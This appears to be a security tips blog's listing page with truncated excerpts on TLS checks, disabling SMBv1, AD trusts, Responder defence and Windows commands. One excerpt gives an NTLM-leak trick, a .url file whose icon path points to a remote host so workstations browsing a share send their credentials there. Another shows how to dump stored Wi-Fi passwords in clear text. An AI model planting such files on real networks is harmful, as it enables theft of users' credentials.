Get TLS content or check service

Reading Time: < 1 minuteIn the olden days, we did for example telnet mailserver 110, and then we could get the combination of username/password or other checks.With all being TLS/SSL, here is a way to do the way but with a TLS underlay.openssl s_client -connect...

Disable SMBv1

Reading Time: < 1 minuteTime to disable SMBv1 ! https://support.microsoft.com/en-gb/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server Win 8 : Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol Win10 :...

Windows AD Trust Types

Reading Time: < 1 minutenltest /trusted_domains will produce the list of trusted domains and the relationship of the trust (birectionnal and so on...

Provoc NTLM leak

Reading Time: < 1 minutegenerate a file toto.url with the following content [InternetShortcut] URL=https://www.google.com/  IconIndex=0  IconFile=\\1.2.3.4\leak\leak.ico Place the toto.url file on a sharedrive. Many workstations will try to get the ico...

Defend against Responder

Reading Time: < 1 minuteLLMLR : Disable WPAD can be changed in Group Policy via the Services setting under ComputerConfiguration > Policies > Windows Settings > Security Settings > System Services and by disabling the WinHTTP WebProxy Auto-Discover...

Show stored wifi pwd in Windows

Reading Time: < 1 minutenetsh wlan show profilenetsh wlan show profile name=”mywifi” key=clearor to get the whole list exported to a file powershell.exe netsh wlan show profiles|Select-String -Pattern ” User Profile”|ForEach-Object{echo...